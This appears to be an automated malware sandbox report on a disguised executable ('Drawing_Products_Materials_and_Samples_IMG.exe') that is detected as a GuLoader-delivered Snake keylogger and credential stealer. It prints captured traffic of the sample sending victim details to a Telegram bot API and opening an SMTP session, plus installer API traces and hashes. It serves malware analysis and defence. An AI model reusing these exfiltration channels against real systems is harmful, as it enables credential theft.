2024-09-24 14:31:20 UTC	670	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 14:31:20 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 8 Last-Modified: Tue, 24 Sep 2024 14:31:12 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3uBkdfA0X8Gk3j7lraD2r1wwj0wpdPQBluTi9RlkF1OsEJT2X9OcTQ5x8G%2FbyXEtXhvdwql3lOz8g7WvosmeT6EXm1kAOdxwGeh4uIouy36HgeWJATZEfz9HEOO%2FcHIRkM8NwSJx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c837a435911c95a-IAD
2024-09-24 14:31:20 UTC	335	IN	Data Raw: 31 34 38 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 37 39 2e 31 32 37 2e 31 33 32 2e 32 30 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 43 5a 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 43 7a 65 63 68 69 61 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 45 75 72 6f 70 65 2f 50 72 61 67 75 65 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 35 30 2e 30 38 34 38 3c 2f 4c 61 Data Ascii: 148<Response><IP>79.127.132.20</IP><CountryCode>CZ</CountryCode><CountryName>Czechia</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>Europe/Prague</TimeZone><Latitude>50.0848</La
2024-09-24 14:31:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.30	49820	149.154.167.220	443	3392	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 14:31:21 UTC	341	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20and%20Time:%2024/09/2024%20/%2010:31:19%0D%0ACountry%20Name:%20Czechia%0D%0A%5B%20888683%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-09-24 14:31:22 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 24 Sep 2024 14:31:22 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-24 14:31:22 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Sep 24, 2024 16:31:29.174940109 CEST	587	49821	185.230.214.164	192.168.11.30	220 mx.zoho.eu SMTP Server ready September 24, 2024 4:31:29 PM CEST
Sep 24, 2024 16:31:29.175318956 CEST	49821	587	192.168.11.30	185.230.214.164	EHLO 888683
Sep 24, 2024 16:31:29.631243944 CEST	587	49821	185.230.214.164	192.168.11.30	250-mx.zoho.eu Hello 888683 (79.127.132.20 (79.127.132.20))
Sep 24, 2024 16:31:29.631299019 CEST	587	49821	185.230.214.164	192.168.11.30	250-STARTTLS
Sep 24, 2024 16:31:29.631337881 CEST	587	49821	185.230.214.164	192.168.11.30	250 SIZE 53477376
Sep 24, 2024 16:31:29.631556034 CEST	49821	587	192.168.11.30	185.230.214.164	STARTTLS
Sep 24, 2024 16:31:29.821167946 CEST	587	49821	185.230.214.164	192.168.11.30	220 Ready to start TLS.

Target ID:	0
Start time:	10:29:41
Start date:	24/09/2024
Path:	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe"
Imagebase:	0x400000
File size:	634'320 bytes
MD5 hash:	9CA0138738DCC4FAA58C59C0898D4834
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.17886564519.0000000008520000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:30:52
Start date:	24/09/2024
Path:	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe"
Imagebase:	0x400000
File size:	634'320 bytes
MD5 hash:	9CA0138738DCC4FAA58C59C0898D4834
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.22144177112.0000000035965000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000002.00000002.22140550905.0000000034921000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.22140550905.00000000349E6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	24.4%
Dynamic/Decrypted Code Coverage:	17.1%
Signature Coverage:	16.9%
Total number of Nodes:	1358
Total number of Limit Nodes:	53

Executed Functions

Function 004030EF Relevance: 75.6, APIs: 27, Strings: 16, Instructions: 324
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 00403110
SetErrorMode.KERNELBASE(00008001), ref: 0040311B
OleInitialize.OLE32(00000000), ref: 00403122

Part of subcall function 00405EA7: GetModuleHandleA.KERNEL32(?,?,?,00403134,?), ref: 00405EB9
Part of subcall function 00405EA7: LoadLibraryA.KERNELBASE(?,?,?,00403134,?), ref: 00405EC4
Part of subcall function 00405EA7: GetProcAddress.KERNEL32(00000000,?), ref: 00405ED5

SHGetFileInfoA.SHELL32(0079DCB8,00000000,?,00000160,00000000,?), ref: 0040314A

Part of subcall function 00405B7C: lstrcpynA.KERNEL32(?,?,00000400,0040315F,007A1F00,NSIS Error), ref: 00405B89

GetCommandLineA.KERNEL32(007A1F00,NSIS Error), ref: 0040315F
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe",00000000), ref: 00403172
CharNextA.USER32(00000000,"C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe",00000020), ref: 0040319D
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 0040329A
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004032AB
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004032B7
GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004032CB
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004032D3
SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 004032E4
SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 004032EC
DeleteFileA.KERNELBASE(1033), ref: 00403300
OleUninitialize.OLE32(?), ref: 004033AE
ExitProcess.KERNEL32 ref: 004033CE
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe",00000000,?), ref: 004033DA
lstrcmpiA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop), ref: 004033E6
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 004033F2
SetCurrentDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 004033F9
DeleteFileA.KERNEL32(0079D8B8,0079D8B8,?,007A3000,?), ref: 00403452
CopyFileA.KERNEL32(C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe,0079D8B8,00000001), ref: 00403466
CloseHandle.KERNEL32(00000000,0079D8B8,0079D8B8,?,0079D8B8,00000000), ref: 00403493
GetCurrentProcess.KERNEL32(?,?,00000005,?,00000003), ref: 004034E8
ExitWindowsEx.USER32(00000002,00000000), ref: 00403524
ExitProcess.KERNEL32 ref: 00403547

Strings

1033, xrefs: 004032FB
\Temp, xrefs: 004032B1
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid, xrefs: 0040327F, 00403380, 004033FF, 00403408
TMP, xrefs: 004032E7
SeShutdownPrivilege, xrefs: 004034FA
NSIS Error, xrefs: 00403150
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid\Urging, xrefs: 0040338B
TEMP, xrefs: 004032DF
~nsu.tmp, xrefs: 004033D4
", xrefs: 004031C2
C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe, xrefs: 00403461
C:\Users\user\AppData\Local\Temp\, xrefs: 0040328F, 00403294, 004032AA, 004032B6, 004032C5, 004032D2, 004032DE, 004032E6, 004033D9, 004033E5, 004033F1, 004033F8, 004034A7
C:\Users\user\Desktop, xrefs: 004033DF, 004033E4, 00403407
Error launching installer, xrefs: 00403366
"C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe", xrefs: 00403165, 0040316B, 00403324
Low, xrefs: 004032CD

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: "$"C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe"$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid\Urging$C:\Users\user\Desktop$C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$~nsu.tmp
API String ID: 4107622049-519006840
Opcode ID: c9a6281d6327b5ff8a3063c5cf6d9467bc79e302010f0b26b7a58b08dbd81a83
Instruction ID: cbe6203d26f901f65e01a216d62163169d989bdc7c49c29356e1850f369634ff
Opcode Fuzzy Hash: c9a6281d6327b5ff8a3063c5cf6d9467bc79e302010f0b26b7a58b08dbd81a83
Instruction Fuzzy Hash: 04B119709083516EE711AF745C4DA2B7EACEB86306F04457EF181B61E2C77C9A05CB6E

Function 00404FC7 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 279
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 00405026
GetDlgItem.USER32(?,000003EE), ref: 00405035
GetClientRect.USER32(?,?), ref: 00405072
GetSystemMetrics.USER32(00000015), ref: 0040507A
SendMessageA.USER32(?,0000101B,00000000,00000002), ref: 0040509B
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 004050AC
SendMessageA.USER32(?,00001001,00000000,00000110), ref: 004050BF
SendMessageA.USER32(?,00001026,00000000,00000110), ref: 004050CD
SendMessageA.USER32(?,00001024,00000000,?), ref: 004050E0
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405102
ShowWindow.USER32(?,?), ref: 00405116
GetDlgItem.USER32(?,000003EC), ref: 00405137
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 00405147
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 00405160
SendMessageA.USER32(00000000,00002001,00000000,00000110), ref: 0040516C
GetDlgItem.USER32(?,000003F8), ref: 00405044

Part of subcall function 00403EC1: SendMessageA.USER32(?,?,00000001,00403CF2), ref: 00403ECF

GetDlgItem.USER32(?,000003EC), ref: 00405189
CreateThread.KERNEL32(00000000,00000000,Function_00004F5B,00000000), ref: 00405197
CloseHandle.KERNELBASE(00000000), ref: 0040519E
ShowWindow.USER32(00000000), ref: 004051C2
ShowWindow.USER32(0001040C,?), ref: 004051C7
ShowWindow.USER32(?), ref: 0040520E
SendMessageA.USER32(0001040C,00001004,00000000,00000000), ref: 00405240
CreatePopupMenu.USER32 ref: 00405251
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 00405266
GetWindowRect.USER32(0001040C,?), ref: 00405279
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040529D
SendMessageA.USER32(?,0000102D,00000000,?), ref: 004052D8
OpenClipboard.USER32(00000000), ref: 004052E8
EmptyClipboard.USER32 ref: 004052EE
GlobalAlloc.KERNEL32(00000042,?,?,?,00000000,?,00000000), ref: 004052F7
GlobalLock.KERNEL32(00000000), ref: 00405301
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405315
GlobalUnlock.KERNEL32(00000000), ref: 0040532E
SetClipboardData.USER32(00000001,00000000), ref: 00405339
CloseClipboard.USER32 ref: 0040533F

Strings

{, xrefs: 0040522D
Unnarcotic33 Setup: Installing, xrefs: 004052B4

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: Unnarcotic33 Setup: Installing${
API String ID: 590372296-2023738800
Opcode ID: 286028ead75b9e4714836cbfcac6401d1fd5b79628626a0f533f6a43fb1c771d
Instruction ID: e012edbc7131a32af6433ba0e52cc1c5aadcd187bdbee4d49277f23e00180f18
Opcode Fuzzy Hash: 286028ead75b9e4714836cbfcac6401d1fd5b79628626a0f533f6a43fb1c771d
Instruction Fuzzy Hash: EDA17D70900208FFEB119F60DD85AAE7FB9FB44355F00806AFA05BA1A1C7795E41DFA9

Function 00405B9E Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 199
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(?,Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,00000000,00404EC1,Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,00000000), ref: 00405C4F
GetSystemDirectoryA.KERNEL32(Call,00000400), ref: 00405CCA
GetWindowsDirectoryA.KERNEL32(Call,00000400), ref: 00405CDD
SHGetSpecialFolderLocation.SHELL32(?,007904A8), ref: 00405D19
SHGetPathFromIDListA.SHELL32(007904A8,Call), ref: 00405D27
CoTaskMemFree.OLE32(007904A8), ref: 00405D32
lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00405D54
lstrlenA.KERNEL32(Call,?,Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,00000000,00404EC1,Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,00000000), ref: 00405DA6

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll, xrefs: 00405BCD
Call, xrefs: 00405BC5, 00405C97, 00405CB4, 00405CC9, 00405CDC, 00405CF8, 00405D23, 00405D53, 00405D59, 00405D71, 00405D84, 00405D9F, 00405DA5, 00405DB0, 00405DDA
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405D4E
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405C99

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-3222410400
Opcode ID: 59a5524139052e59ceb1e97a84fd799dfff15b3e0b3a4db6723d1b868c921830
Instruction ID: cfbb71564de19aca3b2bc26046a3fc1a075fa9ae2907aa6082c2ad5de6d0bb48
Opcode Fuzzy Hash: 59a5524139052e59ceb1e97a84fd799dfff15b3e0b3a4db6723d1b868c921830
Instruction Fuzzy Hash: FF61C131904A05ABEF119B68CC88BBF7BB4DF56314F14813BE501BA2D1C27C5982DF5A

Function 00405459 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,773E3410,00000000), ref: 00405482
lstrcatA.KERNEL32(0079FD00,\*.*,0079FD00,?,?,C:\Users\user\AppData\Local\Temp\,773E3410,00000000), ref: 004054CA
lstrcatA.KERNEL32(?,00409014,?,0079FD00,?,?,C:\Users\user\AppData\Local\Temp\,773E3410,00000000), ref: 004054EB
lstrlenA.KERNEL32(?,?,00409014,?,0079FD00,?,?,C:\Users\user\AppData\Local\Temp\,773E3410,00000000), ref: 004054F1
FindFirstFileA.KERNELBASE(0079FD00,?,?,?,00409014,?,0079FD00,?,?,C:\Users\user\AppData\Local\Temp\,773E3410,00000000), ref: 00405502
FindNextFileA.KERNELBASE(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 004055AF
FindClose.KERNEL32(00000000), ref: 004055C0

Strings

\*.*, xrefs: 004054C4
C:\Users\user\AppData\Local\Temp\, xrefs: 00405467
"C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe", xrefs: 00405459

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

